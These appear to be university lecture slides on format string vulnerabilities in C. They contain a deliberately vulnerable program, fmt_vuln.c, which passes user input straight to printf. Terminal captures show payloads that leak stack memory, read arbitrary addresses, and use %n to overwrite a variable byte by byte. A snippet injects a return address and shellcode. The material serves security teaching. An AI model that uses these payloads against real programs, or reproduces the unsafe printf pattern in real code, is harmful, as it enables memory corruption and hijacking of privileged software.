COSC 458-647 Application Software Security

Format String Vulnerability

Introduction

Another technique used to gain control of a privileged program

Format string exploits depend on programming mistake

Fairly easy to spot, eliminate and prevent

Buffer Overflow v.s. Format String

	Buffer Overflow	Format String			
public since	mid 1980's	June 1999			
danger realized	1990's	June 2000			
number of exploits	a few thousand	a few dozen			
considered as	security threat	programming bug			
techniques	evolved and advanced	basic techniques			
visibility	sometimes very difficult to spot	easy to find			

Format strings (parameters)

	Parameter	Input Type	Output Type
	%d	Value	Decimal
	%u	Value	Unsigned decimal
→	%x	Value	Hexadecimal
→	%s	Pointer	String
	%n	Pointer	Number of bytes written so far

printf() function

- Recall printf() function
 - Evaluates the format string passed to it and performs a special action each time a format parameter is encountered
 - Each format parameters expects an additional variable to be passed
 - So, if there are 3 format parameters, there should be 3 passed variables

Example

printf("A = %d and is at %08x. B is %x", A, &A, B);

• Example: fmt uncommon.c

Address of format string

Value of A

Address of A

Value of B

Bottom of the Stack

Top of the Stack

```
Address of format string
```

Value of A

Address of A

Value of B

Bottom of the Stack

printf() function (cont'd)

Example

printf("A = %d and is at %08x. B is %x", A, &A, B);

 The format function iterates through the format string one character at a time

- If the character isn't the beginning of a format parameter ("%" sign), the character is copied to the output
- If a format character is encountered, the appropriate action is taken, using the argument in the stack corresponding to that parameter

fmt uncommon.c

```
#include <stdio.h>
#include <stdlib.h>
int main() {
   int A = 5, B = 7, count one, count two;
   printf("The number of bytes written up to this point X%n is being stored
   in count one, and the number of bytes up to here X%n is being stored
   incount two.\n", &count one, &count two);
   printf("count one: %d\n", count one);
   printf("count two: %d\n", count two);
   printf("A is %d and is at %08x. B is %x.\n", A, &A, B);
   exit(0);
```

Format String Vulnerability


- So, if there are 3 format parameters, there should be 3 passed variables
- What if we missed (forgot) to pass a variable in?


```
printf("A = %d and is at %08x. B is %x", A, &A, B); v.s.
```

```
printf("A = %d and is at %08x. B is %x", A, &A);
```

Top of the Stack

• "B is b7fd6ff4". What is it?





Format String Vulnerability: fmt vul.c

```
int main(int argc, char *argv[]) {
  char text[1024];
  static int test val = -72;
   strcpy(text, argv[1]);
  printf("The right way to print user-controlled input:\n");
  printf("%s", text);
  printf("\nThe wrong way to print user-controlled input:\n");
  printf(text);
  printf("[*] test val @ 0x\%08x = %d 0x\%08x\n", &test val,
  test val, test val);
  exit(0);
```

Format String Vulnerability: fmt_vul.c

Test cases:

```
• ./fmt_vuln testing
```

- ./fmt vuln testing%x
- ./fmt vuln \$(perl -e 'print "%08x."x40')

Format String Vulnerability: fmt_vul.c

```
💋 Applications Places System 🝪 📵
                                                                      Mon Oct 20, 2:58 PM
                                        Terminal
                                                                  Click to view your appointments and tasks
reader@hacking:~/booksrc $ ./fmt vuln testing
The right way to print user-controlled input:
testing
The wrong way to print user-controlled input:
testing
[*] test val @ 0x08049794 = -72 0xffffffb8
reader@hacking:~/booksrc $ ./fmt vuln testing%x
The right way to print user-controlled input:
testing%x
The wrong way to print user-controlled input:
testingbffff420
[*] test val @ 0x08049794 = -72 0xffffffb8
reader@hacking:~/booksrc $
 reader@hacking:~/booksrc $ ./fmt vuln $(perl -e 'print "%08x."x40')
The right way to print user-controlled input:
The wrong way to print user-controlled input:
bffff360.b7fe75fc.00000000.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252
e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e7838
30.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.
3830252e.30252e78.252e7838.2e783830.78383025.3830252e.
 [*] test val @ 0x08049794 = -72 0xffffffb8
 reader@hacking:~/booksrc $ printf "\x25\x30\x38\x78\x2e\n"
 %08x.
 reader@hacking:~/booksrc $
```

Exploitation

- Primarily concept: to change return address (Instrument Pointer).
- Exploit method
 - Similar to common buffer overflows
 - Through pure format strings

Similar to common buffer overflows

```
char outbuf[512];
char buffer[512];
sprintf (buffer, "ERR Wrong command: %400s", user);
sprintf (outbuf, buffer);
}
```

We assign user = " $497d\x3c\xd3\xff\xbf\nops><shellcode>"$ write a return address (0xbfffd33c)

Reading from arbitrary memory address

- The "%s" format parameter can be used to read from arbitrary memory address.
- Since it is possible to read the data of the original format string, part of the original format string can be used to supply an address to the " \slash s" format parameters
- Example

```
./fmt_vuln AAAA%08x.%08x.%08x.<u>%08x</u>
```

```
./fmt_vuln AAAA%08x.%08x.%08x.%s
```

Reading from arbitrary memory address

```
./fmt_vuln AAAA%08x.%08x.%08x.<u>%08x</u>
```

./fmt_vuln AAAA%08x.%08x.%08x.%s

```
Terminal

reader@hacking:~/booksrc $ ./fmt_vuln AAAA%08x.%08x.%08x.%08x
The right way to print user-controlled input:

AAAA%08x.%08x.%08x.%08x
The wrong way to print user-controlled input:

AAAAbffff410.b7fe75fc.000000000.41414141

[*] test_val @ 0x08049794 = -72 0xffffffb8

reader@hacking:~/booksrc $ ./fmt_vuln AAAA%08x.%08x.%08x.%s

The right way to print user-controlled input:

AAAA%08x.%08x.%08x.%s

The wrong way to print user-controlled input:

Segmentation fault

reader@hacking:~/booksrc $
```

Reading from arbitrary memory address (con'td)

- ./fmt vuln AAAA%08x.%08x.%08x.%s ← crashes
- What if at "%s" is a valid memory address.
 - What if this is a PATH environment string

Writing to arbitrary memory address

- If "%s" is used to read an arbitrary memory address, then "%n" can be used to WRITE to an arbitrary memory address.
 - Now things are getting interesting ...
- How about writing new value for test val variable

```
💋 Applications Places System 🝪 🙆
                                                                                (Non act 20, 2:11 PM
                                              Terminal
                                                                           Click to view your appointments and tasks
reader@hacking:~/booksrc $ ./fmt vuln $(printf "\xc3\xfd\xff\xbf")%08x.%08x.%08x.%s
The right way to print user-controlled input:
ÛÛÛÛ%08x.%08x.%08x.%s
The wrong way to print user-controlled input:
🗘 🗘 🗘 🗘 🖟 bfffff410.b7fe75fc.00000000./usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
[*] test val @ 0x08049794 = -72 0xffffffb8
reader@hacking:~/booksrc $ ./fmt vuln $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
The right way to print user-controlled input:
00%08x.%08x.%08x.%n
The wrong way to print user-controlled input:
[*] test val @ 0x08049794 = 31 0x0000001f
reader@hacking:~/booksrc $
```

Writing to arbitrary memory address

```
🍊 Applications Places System 😂 🕜 👚
                                                                                    📑 📢 Mon Oct 20, 2:16 PM 📗
                                                 Terminal
                                                                                                      _ - ×
                                                                                   Master: 80%
reader@hacking:~/booksrc $ ./fmt vuln $(printf "\x94\x97\x04\x08")%x%x%x%n
The right way to print user-controlled input:
🕅 🕅 % x % x % x % n
The wrong way to print user-controlled input:
ûûbfffff420b7fe75fc0
[*] test val @ 0x08049794 = 21 0x00000015
reader@hacking:~/booksrc $ ./fmt vuln $(printf "\x94\x97\x04\x08")%x%x%100x%n
The right way to print user-controlled input:
🕅 🕅 % x % x % 100 x % n
The wrong way to print user-controlled input:
ûûbfffff420b7fe75fc
[*] test val @ 0x08049794 = 120 0x00000078
reader@hacking:~/booksrc $ ./fmt vuln $(printf "\x94\x97\x04\x08")%x%x%180x%n
The right way to print user-controlled input:
@@%x%x%180x%n
The wrong way to print user-controlled input:
@@bfffff420b7fe75fc
[*] test val @ 0x08049794 = 200 0x0000000c8
reader@hacking:~/booksrc $ ./fmt vuln $(printf "\x94\x97\x04\x08")%x%x%400x%n
The right way to print user-controlled input:
🕅 🕅 %x%x%400x%n
The wrong way to print user-controlled input:
ûûbfffff420b7fe75fc
[*] test val @ 0 \times 08049794 = 420 \ 0 \times 000001a4
reader@hacking:~/booksrc $
```

Overwriting test_val variable

• By manipulating the field-width option of one of the format parameters before the "%n", a certain number of blank spaces can be inserted, resulting in the output having some blank lines.

• These lines, in turn, can be used to control the number of bytes written before the "%n" format parameter.

• This approach will work for small numbers, but it won't work for larger ones, like memory addresses.

Overwriting test_val variable

- Looking at the hexadecimal representation of the test_val value, it's apparent that the least significant byte can be controlled fairly well.
- This detail can be used to write an entire address.
- If four writes are done at sequential memory addresses, the least significant byte can be written to each byte of a four-byte word


Memory	94 95 96 97
First write to 0x08049794	AA 00 00 00
Second write to 0x08049795	BB 00 00 00
Third write to 0x08049796	CC 00 00 00
Fourth write to 0x08049797	DD 00 00 00
Result	AA BB CC DD

- Let's try to write the address <code>OxDDCCBBAA</code> into the test variable.
- In memory, the first byte of the test variable should be 0xAA, then 0xBB, then 0xCC, and finally 0xDD.
- Four separate writes to the memory addresses 0×08049794 , 0×08049795 , 0×08049796 , and 0×08049797 should accomplish this.
- The first write will write the value 0x000000aa, the second 0x00000bb, the third 0x00000cc, and finally 0x00000dd.

```
🎁 Applications Places System 🝪 🔞
                                                                                  📗 📺 📢 Mon Oct 20, 2:34 PM
                                                Terminal
reader@hacking:~/booksrc $ ./fmt vuln $(printf "\x94\x97\x04\x08")%x%x%x%n
The right way to print user-controlled input:
🕅 🕯 % x % x % x % n
The wrong way to print user-controlled input:
ûûbfffff420b7fe75fc0
[*] test val @ 0x08049794 = 21 0x00000015
reader@hacking:~/booksrc $ gdb -q
(qdb) 0xaa - 21 + 1
Undefined command: "Oxaa". Try "help".
(qdb) p 0xaa - 21 + 1
$1 = 150
(gdb) quit
reader@hacking:~/booksrc $ ./fmt vuln $(printf "\x94\x97\x04\x08")%x%x%150x%n
The right way to print user-controlled input:
@@%x%x%150x%n
The wrong way to print user-controlled input:
ûûbfffff420b7fe75fc
[*] test val @ 0x08049794 = 170 0x0000000aa
reader@hacking:~/booksrc $
```

Now for the next write. Another argument is needed for another %x format parameter to increment the byte count to 187, which is 0xBB in decimal.


- This argument could be anything; it just has to be four bytes long and must be located after the first arbitrary memory address of 0x08049754.
- Since this is all still in the memory of the format string, it can be easily controlled. The word *JUNK* is four bytes long and will work fine.




- After that, the next memory address to be written to, 0x08049755, should be put into memory so the second %n format parameter can access it.
- This means the beginning of the format string should consist of the target memory address, four bytes of junk, and then the target memory address plus one.
- But all of these bytes of memory are also printed by the format function, thus incrementing the byte counter used for the %n format parameter. This is getting tricky.

0x08049794			0x08049795	ı		0x	08049796				0x08049797
94,97,04,08	J _U	NK	95,97,04,08	J l	$U_{\perp}N_{\perp}$	K 96	,97,04,08	J	U	$N_{\perp}K$	97,97,04,08

```
🐧 Applications Places System 🥹 🕡
                                                                                   🖟 📑 🔘 ) Mon Oct 20, 2:43 PM
                                                  Terminal
     reader@hacking:~ $ cd booksrc/
    reader@hacking:~/booksrc $ ./fmt vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\x97\x04\x
    08JUNK\x97\x97\x04\x08")%x%x%x%n
    The right way to print user-controlled input:
    ŶŶJUNKŶŶJUNKŶŶJUNKŶŶ%x%x%x%n
    The wrong way to print user-controlled input:
    00JUNK00JUNK00JUNK00bffff400b7fe75fc0
     [*] test val @ 0x08049794 = 45 0x0000002d
    reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 45 + 1"
    $1 = 126
    reader@hacking:~/booksrc $ ./fmt vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\x97\x04\x
    08JUNK\x97\x97\x04\x08")%x%x%126x%n
    The right way to print user-controlled input:
    QQJUNKQQJUNKQQJUNKQQ%x%x%126x%n
    The wrong way to print user-controlled input:
    00JUNK00JUNK00JUNK00bffff400b7fe75fc
     [*] test val @ 0x08049794 = 170 0x0000000aa
    reader@hacking:~/booksrc $
0x08049794
                              0x08049795
                                                             0x08049796
                                                                                            0x08049797
                   U, N, K | 95,97,04,08
                                                            96.97.04.08
```





Overwriting test val variable: 0xCC & 0xDD

```
💋 Applications Places System 🝪 🕜
                                                                                  📗 🚅 👊) Mon Oct 20, 2:51 PM
                               >_
                                                Terminal
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xcc -0xbb"
$1 = 17
reader@hacking:~/booksrc $ ./fmt vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\x97\x04\x
08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n
The right way to print user-controlled input:
@@JUNK@@JUNK@@JUNK@@%x%x%126x%n%17x%n%17x%n
The wrong way to print user-controlled input:
00JUNK00JUNK00JUNK00bffff3f0b7fe75fc
                                                             0
                                                                       4b4e554a
                                                                                         4b4e554a
[*] test val @ 0x08049794 = 13417386 0x00ccbbaa
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xdd -0xcc"
$1 = 17
reader@hacking:~/booksrc $ ./fmt vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\x97\x04\x
08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n
The right way to print user-controlled input:
��JUNK��JUNK��JUNK��Sx%x%126x%n%17x%n%17x%n%17x%n
The wrong way to print user-controlled input:
@@JUNK@@JUNK@@JUNK@@bffff3f0b7fe75fc
                                                                       4b4e554a
                                                                                         4b4e554a
 4b4e554a
[*] test val @ 0 \times 08049794 = -573785174 0 \times ddccbbaa
reader@hacking:~/booksrc $
```

0x08049794

0x08049795

0x08049796

0x08049797

94_,97_,04_,08 | J _{_} U _{_} N _{_} K |95_,97_,04_,08 | J _{_} U _{_} N _{_} K |96_,97_,04_,08 | J _{_} U _{_} N _{_} K |97_,97_,04_,08

Your tasks

- Read 0×350 pages 167 188
- Try to overwrite test_value with <code>0xabcdef</code>